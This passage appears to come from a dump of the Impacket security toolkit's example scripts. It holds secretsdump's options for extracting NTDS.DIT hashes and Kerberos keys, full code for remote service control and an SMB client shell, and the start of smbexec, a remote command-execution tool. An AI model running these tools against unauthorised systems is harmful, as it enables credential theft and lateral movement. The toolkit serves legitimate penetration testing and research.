action='store', help='resume file name to resume NTDS.DIT session dump (only '\n                        'available to DRSUAPI approach). This file will also be used to keep updating the session\\'s '\n                        'state')\n    parser.add_argument('-skip-sam', action='store_true', help='Do NOT parse the SAM hive on remote system')\n    parser.add_argument('-skip-security', action='store_true', help='Do NOT parse the SECURITY hive on remote system')\n    parser.add_argument('-outputfile', action='store',\n                        help='base output filename. Extensions will be added for sam, secrets, cached and ntds')\n    parser.add_argument('-use-vss', action='store_true', default=False,\n                        help='Use the NTDSUTIL VSS method instead of default DRSUAPI')\n    parser.add_argument('-rodcNo', action='store', type=int, help='Number of the RODC krbtgt account (only avaiable for Kerb-Key-List approach)')\n    parser.add_argument('-rodcKey', action='store', help='AES key of the Read Only Domain Controller (only avaiable for Kerb-Key-List approach)')\n    parser.add_argument('-use-keylist', action='store_true', default=False,\n                        help='Use the Kerb-Key-List method instead of default DRSUAPI')\n    parser.add_argument('-exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', help='Remote exec '\n                        'method to use at target (only when using -use-vss). Default: smbexec')\n    parser.add_argument('-use-remoteSSWMI', action='store_true',\n                        help='Remotely create Shadow Snapshot via WMI and download SAM, SYSTEM and SECURITY from it, the parse locally')\n    parser.add_argument('-use-remoteSSWMI-NTDS', action='store_true',\n                        help='Dump NTDS.DIT also when using the Remote Shadow Snapshot Method via WMI. Use it with dumping from a DC. IMPORTANT: this flag only works when also using -use-remoteSSWMI')\n    parser.add_argument('-remoteSSWMI-remote-volume', action='store', default='C:\\\\',\n                        help='Remote Volume to perform the Shadow Snapshot and download SAM, SYSTEM and SECURITY. It defaults to C:\\\\')\n    parser.add_argument('-remoteSSWMI-local-path', action='store', default='.',\n                        help='Local path to download SAM, SYSTEM and SECURITY from Shadow Snapshot. It defaults to current path')\n\n    group = parser.add_argument_group('display options')\n    group.add_argument('-just-dc-user', action='store', metavar='USERNAME',\n                       help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. '\n                            'Implies also -just-dc switch')\n    group.add_argument('-ldapfilter', action='store', metavar='LDAPFILTER',\n                       help='Extract only NTDS.DIT data for specific users based on an LDAP filter. '\n                            'Only available for DRSUAPI approach. Implies also -just-dc switch')\n    group.add_argument('-just-dc', action='store_true', default=False,\n                       help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)')\n    group.add_argument('-just-dc-ntlm', action='store_true', default=False,\n                       help='Extract only NTDS.DIT data (NTLM hashes only)')\n    group.add_argument('-skip-user', action='store', help='Do NOT extract NTDS.DIT data for the user specified. '\n                       'Can provide comma-separated list of users to skip, or text file with one user per line')\n    group.add_argument('-pwd-last-set', action='store_true', default=False,\n                       help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\\'t apply to -outputfile data')\n    group.add_argument('-user-status', action='store_true', default=False,\n                       help='Display whether or not the user is disabled')\n    group.add_argument('-history', action='store_true', help='Dump password history (NTDS and SAM hashes), and LSA secrets OldVal')\n\n    group = parser.add_argument_group('authentication')\n    group.add_argument('-hashes', action=\"store\", metavar=\"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use'\n                       ' the ones specified in the command line')\n    group.add_argument('-aesKey', action=\"store\", metavar=\"hex key\", help='AES key to use for Kerberos Authentication'\n                       ' (128 or 256 bits)')\n    group.add_argument('-keytab', action=\"store\", help='Read keys for SPN from keytab file')\n\n    group = parser.add_argument_group('connection')\n    group.add_argument('-dc-ip', action='store', metavar=\"ip address\", help='IP Address of the domain controller. If '\n                       'ommited it use the domain part (FQDN) specified in the target parameter')\n    group.add_argument('-target-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '\n                            'This is useful when target is the NetBIOS name and you cannot resolve it')\n\n    if len(sys.argv) == 1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, remoteName = parse_target(options.target)\n\n    if options.just_dc_user is not None or options.ldapfilter is not None:\n        if options.use_vss is True or options.use_remoteSSWMI_NTDS is True:\n            logging.error('-just-dc-user switch is not supported in VSS mode nor WMI VSS mode')\n            sys.exit(1)\n        elif options.resumefile is not None:\n            logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch')\n            sys.exit(1)\n        elif remoteName.upper() == 'LOCAL' and username == '':\n            logging.error('-just-dc-user not compatible in LOCAL mode')\n            sys.exit(1)\n        else:\n            # Having this switch on implies not asking for anything else.\n            options.just_dc = True\n\n    if (options.use_vss is True or options.use_remoteSSWMI_NTDS is True) and options.resumefile is not None:\n        logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode nor WMI VSS mode')\n        sys.exit(1)\n\n    if options.use_remoteSSWMI_NTDS is True and options.use_remoteSSWMI is not True:\n        logging.error('-use-remoteSSWMI-NTDS requires -use-remoteSSWMI to be specified')\n        sys.exit(1)\n\n    if options.use_keylist is True and (options.rodcNo is None or options.rodcKey is None):\n        logging.error('Both the RODC ID number and the RODC key are required for the Kerb-Key-List approach')\n        sys.exit(1)\n\n    if remoteName.upper() == 'LOCAL' and username == '' and options.resumefile is not None:\n        logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode')\n        sys.exit(1)\n\n    if remoteName.upper() == 'LOCAL' and username == '':\n        if options.system is None and options.bootkey is None:\n            logging.error('Either the SYSTEM hive or bootkey is required for local parsing, check help')\n            sys.exit(1)\n    else:\n\n        if options.target_ip is None:\n            options.target_ip = remoteName\n\n        if domain is None:\n            domain = ''\n\n        if options.keytab is not None:\n            Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)\n            options.k = True\n\n        if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:\n            from getpass import getpass\n\n            password = getpass(\"Password:\")\n\n        if options.aesKey is not None:\n            options.k = True\n\n    dumper = DumpSecrets(remoteName, username, password, domain, options)\n    try:\n        dumper.dump()\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.error(e)\n"
  },
  {
    "path": "examples/services.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-SCMR] services common functions for manipulating services\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# Reference for:\n#   DCE/RPC.\n#\n# TODO:\n#   [ ] Check errors\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport sys\nimport argparse\nimport logging\nimport codecs\n\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket import version\nfrom impacket.dcerpc.v5 import transport, scmr\nfrom impacket.dcerpc.v5.ndr import NULL\nfrom impacket.crypto import encryptSecret\n\n\nclass SVCCTL:\n\n    def __init__(self, username, password, domain, options, port=445):\n        self.__username = username\n        self.__password = password\n        self.__options = options\n        self.__port = port\n        self.__action = options.action.upper()\n        self.__domain = domain\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__aesKey = options.aesKey\n        self.__doKerberos = options.k\n        self.__kdcHost = options.dc_ip\n\n        if options.hashes is not None:\n            self.__lmhash, self.__nthash = options.hashes.split(':')\n\n    def run(self, remoteName, remoteHost):\n\n        stringbinding = r'ncacn_np:%s[\\pipe\\svcctl]' % remoteName\n        logging.debug('StringBinding %s'%stringbinding)\n        rpctransport = transport.DCERPCTransportFactory(stringbinding)\n        rpctransport.set_dport(self.__port)\n        rpctransport.setRemoteHost(remoteHost)\n        if hasattr(rpctransport, 'set_credentials'):\n            # This method exists only for selected protocol sequences.\n            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)\n\n        rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)\n        self.doStuff(rpctransport)\n\n    def doStuff(self, rpctransport):\n        dce = rpctransport.get_dce_rpc()\n        #dce.set_credentials(self.__username, self.__password)\n        dce.connect()\n        #dce.set_max_fragment_size(1)\n        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)\n        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY)\n        dce.bind(scmr.MSRPC_UUID_SCMR)\n        #rpc = svcctl.DCERPCSvcCtl(dce)\n        rpc = dce\n        ans = scmr.hROpenSCManagerW(rpc)\n        scManagerHandle = ans['lpScHandle']\n        if self.__action != 'LIST' and self.__action != 'CREATE':\n            ans = scmr.hROpenServiceW(rpc, scManagerHandle, self.__options.name+'\\x00')\n            serviceHandle = ans['lpServiceHandle']\n\n        if self.__action == 'START':\n            logging.info(\"Starting service %s\" % self.__options.name)\n            scmr.hRStartServiceW(rpc, serviceHandle)\n            scmr.hRCloseServiceHandle(rpc, serviceHandle)\n        elif self.__action == 'STOP':\n            logging.info(\"Stopping service %s\" % self.__options.name)\n            scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP)\n            scmr.hRCloseServiceHandle(rpc, serviceHandle)\n        elif self.__action == 'DELETE':\n            logging.info(\"Deleting service %s\" % self.__options.name)\n            scmr.hRDeleteService(rpc, serviceHandle)\n            scmr.hRCloseServiceHandle(rpc, serviceHandle)\n        elif self.__action == 'CONFIG':\n            logging.info(\"Querying service config for %s\" % self.__options.name)\n            resp = scmr.hRQueryServiceConfigW(rpc, serviceHandle)\n            print(\"TYPE              : %2d - \" % resp['lpServiceConfig']['dwServiceType'], end=' ')\n            if resp['lpServiceConfig']['dwServiceType'] & 0x1:\n                print(\"SERVICE_KERNEL_DRIVER \", end=' ')\n            if resp['lpServiceConfig']['dwServiceType'] & 0x2:\n                print(\"SERVICE_FILE_SYSTEM_DRIVER \", end=' ')\n            if resp['lpServiceConfig']['dwServiceType'] & 0x10:\n                print(\"SERVICE_WIN32_OWN_PROCESS \", end=' ')\n            if resp['lpServiceConfig']['dwServiceType'] & 0x20:\n                print(\"SERVICE_WIN32_SHARE_PROCESS \", end=' ')\n            if resp['lpServiceConfig']['dwServiceType'] & 0x100:\n                print(\"SERVICE_INTERACTIVE_PROCESS \", end=' ')\n            print(\"\")\n            print(\"START_TYPE        : %2d - \" % resp['lpServiceConfig']['dwStartType'], end=' ')\n            if resp['lpServiceConfig']['dwStartType'] == 0x0:\n                print(\"BOOT START\")\n            elif resp['lpServiceConfig']['dwStartType'] == 0x1:\n                print(\"SYSTEM START\")\n            elif resp['lpServiceConfig']['dwStartType'] == 0x2:\n                print(\"AUTO START\")\n            elif resp['lpServiceConfig']['dwStartType'] == 0x3:\n                print(\"DEMAND START\")\n            elif resp['lpServiceConfig']['dwStartType'] == 0x4:\n                print(\"DISABLED\")\n            else:\n                print(\"UNKNOWN\")\n\n            print(\"ERROR_CONTROL     : %2d - \" % resp['lpServiceConfig']['dwErrorControl'], end=' ')\n            if resp['lpServiceConfig']['dwErrorControl'] == 0x0:\n                print(\"IGNORE\")\n            elif resp['lpServiceConfig']['dwErrorControl'] == 0x1:\n                print(\"NORMAL\")\n            elif resp['lpServiceConfig']['dwErrorControl'] == 0x2:\n                print(\"SEVERE\")\n            elif resp['lpServiceConfig']['dwErrorControl'] == 0x3:\n                print(\"CRITICAL\")\n            else:\n                print(\"UNKNOWN\")\n            print(\"BINARY_PATH_NAME  : %s\" % resp['lpServiceConfig']['lpBinaryPathName'][:-1])\n            print(\"LOAD_ORDER_GROUP  : %s\" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1])\n            print(\"TAG               : %d\" % resp['lpServiceConfig']['dwTagId'])\n            print(\"DISPLAY_NAME      : %s\" % resp['lpServiceConfig']['lpDisplayName'][:-1])\n            print(\"DEPENDENCIES      : %s\" % resp['lpServiceConfig']['lpDependencies'][:-1])\n            print(\"SERVICE_START_NAME: %s\" % resp['lpServiceConfig']['lpServiceStartName'][:-1])\n        elif self.__action == 'STATUS':\n            print(\"Querying status for %s\" % self.__options.name)\n            resp = scmr.hRQueryServiceStatus(rpc, serviceHandle)\n            print(\"%30s - \" % self.__options.name, end=' ')\n            state = resp['lpServiceStatus']['dwCurrentState']\n            if state == scmr.SERVICE_CONTINUE_PENDING:\n               print(\"CONTINUE PENDING\")\n            elif state == scmr.SERVICE_PAUSE_PENDING:\n               print(\"PAUSE PENDING\")\n            elif state == scmr.SERVICE_PAUSED:\n               print(\"PAUSED\")\n            elif state == scmr.SERVICE_RUNNING:\n               print(\"RUNNING\")\n            elif state == scmr.SERVICE_START_PENDING:\n               print(\"START PENDING\")\n            elif state == scmr.SERVICE_STOP_PENDING:\n               print(\"STOP PENDING\")\n            elif state == scmr.SERVICE_STOPPED:\n               print(\"STOPPED\")\n            else:\n               print(\"UNKNOWN\")\n        elif self.__action == 'LIST':\n            logging.info(\"Listing services available on target\")\n            #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS )\n            #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS )\n            #resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL )\n            resp = scmr.hREnumServicesStatusW(rpc, scManagerHandle)\n            for i in range(len(resp)):\n                print(\"%30s - %70s - \" % (resp[i]['lpServiceName'][:-1], resp[i]['lpDisplayName'][:-1]), end=' ')\n                state = resp[i]['ServiceStatus']['dwCurrentState']\n                if state == scmr.SERVICE_CONTINUE_PENDING:\n                   print(\"CONTINUE PENDING\")\n                elif state == scmr.SERVICE_PAUSE_PENDING:\n                   print(\"PAUSE PENDING\")\n                elif state == scmr.SERVICE_PAUSED:\n                   print(\"PAUSED\")\n                elif state == scmr.SERVICE_RUNNING:\n                   print(\"RUNNING\")\n                elif state == scmr.SERVICE_START_PENDING:\n                   print(\"START PENDING\")\n                elif state == scmr.SERVICE_STOP_PENDING:\n                   print(\"STOP PENDING\")\n                elif state == scmr.SERVICE_STOPPED:\n                   print(\"STOPPED\")\n                else:\n                   print(\"UNKNOWN\")\n            print(\"Total Services: %d\" % len(resp))\n        elif self.__action == 'CREATE':\n            logging.info(\"Creating service %s\" % self.__options.name)\n            scmr.hRCreateServiceW(rpc, scManagerHandle, self.__options.name + '\\x00', self.__options.display + '\\x00',\n                                  lpBinaryPathName=self.__options.path + '\\x00')\n        elif self.__action == 'CHANGE':\n            logging.info(\"Changing service config for %s\" % self.__options.name)\n            if self.__options.start_type is not None:\n                start_type = int(self.__options.start_type)\n            else:\n                start_type = scmr.SERVICE_NO_CHANGE\n            if self.__options.service_type is not None:\n                service_type = int(self.__options.service_type)\n            else:\n                service_type = scmr.SERVICE_NO_CHANGE\n\n            if self.__options.display is not None:\n                display = self.__options.display + '\\x00'\n            else:\n                display = NULL\n \n            if self.__options.path is not None:\n                path = self.__options.path + '\\x00'\n            else:\n                path = NULL\n \n            if self.__options.start_name is not None:\n                start_name = self.__options.start_name + '\\x00'\n            else:\n                start_name = NULL \n\n            if self.__options.password is not None:\n                s = rpctransport.get_smb_connection()\n                key = s.getSessionKey()\n                try:\n                    password = (self.__options.password+'\\x00').encode('utf-16le')\n                except UnicodeDecodeError:\n                    import sys\n                    password = (self.__options.password+'\\x00').decode(sys.getfilesystemencoding()).encode('utf-16le')\n                password = encryptSecret(key, password)\n            else:\n                password = NULL\n \n\n            #resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle,  display, path, service_type, start_type, start_name, password)\n            scmr.hRChangeServiceConfigW(rpc, serviceHandle, service_type, start_type, scmr.SERVICE_ERROR_IGNORE, path,\n                                        NULL, NULL, NULL, 0, start_name, password, 0, display)\n            scmr.hRCloseServiceHandle(rpc, serviceHandle)\n        else:\n            logging.error(\"Unknown action %s\" % self.__action)\n\n        scmr.hRCloseServiceHandle(rpc, scManagerHandle)\n\n        dce.disconnect()\n\n        return \n\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    # Explicitly changing the stdout encoding format\n    if sys.stdout.encoding is None:\n        # Output is redirected to a file\n        sys.stdout = codecs.getwriter('utf8')(sys.stdout)\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"Windows Service manipulation script.\")\n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    subparsers = parser.add_subparsers(help='actions', dest='action')\n \n    # A start command\n    start_parser = subparsers.add_parser('start', help='starts the service')\n    start_parser.add_argument('-name', action='store', required=True, help='service name')\n\n    # A stop command\n    stop_parser = subparsers.add_parser('stop', help='stops the service')\n    stop_parser.add_argument('-name', action='store', required=True, help='service name')\n\n    # A delete command\n    delete_parser = subparsers.add_parser('delete', help='deletes the service')\n    delete_parser.add_argument('-name', action='store', required=True, help='service name')\n\n    # A status command\n    status_parser = subparsers.add_parser('status', help='returns service status')\n    status_parser.add_argument('-name', action='store', required=True, help='service name')\n\n    # A config command\n    config_parser = subparsers.add_parser('config', help='returns service configuration')\n    config_parser.add_argument('-name', action='store', required=True, help='service name')\n\n    # A list command\n    list_parser = subparsers.add_parser('list', help='list available services')\n\n    # A create command\n    create_parser = subparsers.add_parser('create', help='create a service')\n    create_parser.add_argument('-name', action='store', required=True, help='service name')\n    create_parser.add_argument('-display', action='store', required=True, help='display name')\n    create_parser.add_argument('-path', action='store', required=True, help='binary path')\n\n    # A change command\n    create_parser = subparsers.add_parser('change', help='change a service configuration')\n    create_parser.add_argument('-name', action='store', required=True, help='service name')\n    create_parser.add_argument('-display', action='store', required=False, help='display name')\n    create_parser.add_argument('-path', action='store', required=False, help='binary path')\n    create_parser.add_argument('-service_type', action='store', required=False, help='service type')\n    create_parser.add_argument('-start_type', action='store', required=False, help='service start type')\n    create_parser.add_argument('-start_name', action='store', required=False, help='string that specifies the name of '\n                               'the account under which the service should run')\n    create_parser.add_argument('-password', action='store', required=False, help='string that contains the password of '\n                               'the account whose name was specified by the start_name parameter')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '\n                       'ones specified in the command line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n\n    group = parser.add_argument_group('connection')\n\n    group.add_argument('-dc-ip', action='store',metavar = \"ip address\", help='IP Address of the domain controller. If '\n                       'ommited it use the domain part (FQDN) specified in the target parameter')\n    group.add_argument('-target-ip', action='store', metavar=\"ip address\", help='IP Address of the target machine. If '\n                       'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS '\n                       'name and you cannot resolve it')\n    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar=\"destination port\",\n                       help='Destination port to connect to SMB Server')\n \n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, remoteName = parse_target(options.target)\n\n    if domain is None:\n        domain = ''\n\n    if options.target_ip is None:\n        options.target_ip = remoteName\n\n    if options.aesKey is not None:\n        options.k = True\n\n    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:\n        from getpass import getpass\n        password = getpass(\"Password:\")\n\n    services = SVCCTL(username, password, domain, options, int(options.port))\n    try:\n        services.run(remoteName, options.target_ip)\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.error(str(e))\n"
  },
  {
    "path": "examples/smbclient.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Mini shell using some of the SMB functionality of the library\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# Reference for:\n#   SMB DCE/RPC\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport sys\nimport logging\nimport argparse\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket.examples.smbclient import MiniImpacketShell\nfrom impacket import version\nfrom impacket.smbconnection import SMBConnection\n\ndef main():\n    print(version.BANNER)\n    parser = argparse.ArgumentParser(add_help = True, description = \"SMB client implementation.\")\n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument('-inputfile', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell')\n    parser.add_argument('-outputfile', action='store', help='Output file to log smbclient actions in')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '\n                                                       'cannot be found, it will use the ones specified in the command '\n                                                       'line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n\n    group = parser.add_argument_group('connection')\n\n    group.add_argument('-dc-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '\n                            'the target parameter')\n    group.add_argument('-target-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '\n                            'This is useful when target is the NetBIOS name and you cannot resolve it')\n    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar=\"destination port\",\n                       help='Destination port to connect to SMB Server')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, address = parse_target(options.target)\n\n    if options.target_ip is None:\n        options.target_ip = address\n\n    if domain is None:\n        domain = ''\n\n    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:\n        from getpass import getpass\n        password = getpass(\"Password:\")\n\n    if options.aesKey is not None:\n        options.k = True\n\n    if options.hashes is not None:\n        lmhash, nthash = options.hashes.split(':')\n    else:\n        lmhash = ''\n        nthash = ''\n\n    try:\n        smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port))\n        if options.k is True:\n            smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip )\n        else:\n            smbClient.login(username, password, domain, lmhash, nthash)\n\n        shell = MiniImpacketShell(smbClient, None, options.outputfile)\n\n        if options.outputfile is not None:\n            f = open(options.outputfile, 'a')\n            f.write('=' * 20 + '\\n' + options.target_ip + '\\n' + '=' * 20 + '\\n')\n            f.close()\n\n        if options.inputfile is not None:\n            logging.info(\"Executing commands from %s\" % options.inputfile.name)\n            for line in options.inputfile.readlines():\n                if line[0] != '#':\n                    print(\"# %s\" % line, end=' ')\n                    shell.onecmd(line)\n                else:\n                    print(line, end=' ')\n        else:\n            shell.cmdloop()\n\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.error(str(e))\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "examples/smbexec.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   A similar approach to psexec w/o using RemComSvc. The technique is described here\n#   https://web.archive.org/web/20190515131124/https://www.optiv.com/blog/owning-computers-without-shell-access\n#   Our implementation goes one step further, instantiating a local smbserver to receive the\n#   output of the commands. This is useful in the situation where the target machine does NOT\n#   have a writeable share available.\n#   Keep in mind that, although this technique might help avoiding AVs, there are a lot of\n#   event logs generated and you can't expect executing tasks that will last long since Windows\n#   will kill the process since it's not responding as a Windows service.\n#   Certainly not a stealthy way.\n#\n#   This script works in two ways:\n#       1) share mode: you specify a share, and everything is done through that share.\n#       2) server mode: if for any reason there's no share available, this script will launch a local\n#          SMB server, so the output of the commands executed are sent back by the target machine\n#          into a locally shared folder. Keep in mind you would need root access to bind to port 445\n#          in the local machine.\n#\n# Author:\n#   beto (@agsolino)\n#\n# Reference for:\n#   DCE/RPC and SMB.\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport sys\nimport os\nimport random\nimport string\nimport cmd\nimport argparse\ntry:\n    import ConfigParser\nexcept ImportError:\n    import configparser as ConfigParser\nimport logging\nfrom threading import Thread\nfrom base64 import b64encode\n\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket import version, smbserver\nfrom impacket.dcerpc.v5 import transport, scmr\nfrom impacket.krb5.keytab import Keytab\n\nOUTPUT_FILENAME = '__output_' + ''.join([random.choice(string.ascii_letters) for i in range(8)])\nSMBSERVER_DIR   = '__tmp'\nDUMMY_SHARE     = 'TMP'\nCODEC = sys.stdout.encoding\n\nclass SMBServer(Thread):\n    def __init__(self):\n        Thread.__init__(self)\n        self.smb = None\n\n    def cleanup_server(self):\n        logging.info('Cleaning up..')\n        os.rmdir(SMBSERVER_DIR)\n\n    def run(self):\n        # Here we write a mini config for the server\n        smbConfig = ConfigParser.ConfigParser()\n        smbConfig.add_section('global')\n        smbConfig.set('global','server_name','server_name')\n        smbConfig.set('global','server_os','UNIX')\n        smbConfig.set('global','server_domain','WORKGROUP')\n        smbConfig.set('global','log_file','None')\n        smbConfig.set('global','credentials_file','')\n\n        # Let's add a dummy share\n        smbConfig.add_section(DUMMY_SHARE)\n        smbConfig.set(DUMMY_SHARE,'comment','')\n        smbConfig.set(DUMMY_SHARE,'read only','no')\n        smbConfig.set(DUMMY_SHARE,'share type','0')\n        smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)\n\n        # IPC always needed\n        smbConfig.add_section('IPC$')\n        smbConfig.set('IPC$','comment','')\n        smbConfig.set('IPC$','read only','yes')\n        smbConfig.set('IPC$','share type','3')\n        smbConfig.set('IPC$','path','')\n\n        self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)\n        logging.info('Creating tmp directory')\n        try:\n            os.mkdir(SMBSERVER_DIR)\n        except Exception as e:\n            logging.critical(str(e))\n            pass\n        logging.info('Setting up SMB Server')\n        self.smb.processConfigFile()\n        logging.info('Ready to listen...')\n        try:\n            self.smb.serve_forever()\n        except:\n            pass\n\n    def stop(self):\n        self.cleanup_server()\n        self.smb.socket.close()\n        self.smb.server_close()\n        self._Thread__stop()\n\nclass CMDEXEC:\n    def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=None,\n                 kdcHost=None, mode=None, share=None, port=445, serviceName=None, shell_type=None):\n\n        self.__username = username\n        self.__password = password\n        self.__port = port\n        self.__domain = domain\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__aesKey = aesKey\n        self.__doKerberos = doKerberos\n        self.__kdcHost = kdcHost\n        self.__share = share\n        self.__mode  = mode\n        self.__shell_type = shell_type\n        self.shell = None\n        if hashes is not None:\n            self.__lmhash, self.__nthash = hashes.split(':')\n\n        if serviceName is None:\n            self.__serviceName = ''.join([random.choice(string.ascii_letters) for i in range(8)])\n        else:\n            self.__serviceName = serviceName\n\n    def run(self, remoteName, remoteHost):\n        stringbinding = r'ncacn_np:%s[\\pipe\\svcctl]' % remoteName\n        logging.debug('StringBinding %s'%stringbinding)\n        rpctransport = transport.DCERPCTransportFactory(stringbinding)\n        rpctransport.set_dport(self.__port)\n        rpctransport.setRemoteHost(remoteHost)\n        if hasattr(rpctransport, 'set_credentials'):\n            # This method exists only for selected protocol sequences.\n            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,\n                                         self.__nthash, self.__aesKey)\n        rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)\n\n        self.shell = None\n        try:\n            if self.__mode == 'SERVER':\n                serverThread = SMBServer()\n                serverThread.daemon = True\n                serverThread.start()\n            self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName, self.__shell_type)\n            self.shell.cmdloop()\n            if self.__mode == 'SERVER':\n                serverThread.stop()\n        except  (Exception, KeyboardInterrupt) as e:\n            if logging.getLogger().level == logging.DEBUG:\n                import traceback\n                traceback.print_exc()\n            logging.critical(str(e))\n            if self.shell is not None:\n                self.shell.finish()\n            sys.stdout.flush()\n            sys.exit(1)\n\nclass RemoteShell(cmd.Cmd):\n    def __init__(self, share, rpc, mode, serviceName, shell_type):\n        cmd.Cmd.__init__(self)\n        self.__share = share\n        self.__mode = mode\n        self.__output = '\\\\\\\\%COMPUTERNAME%\\\\' + 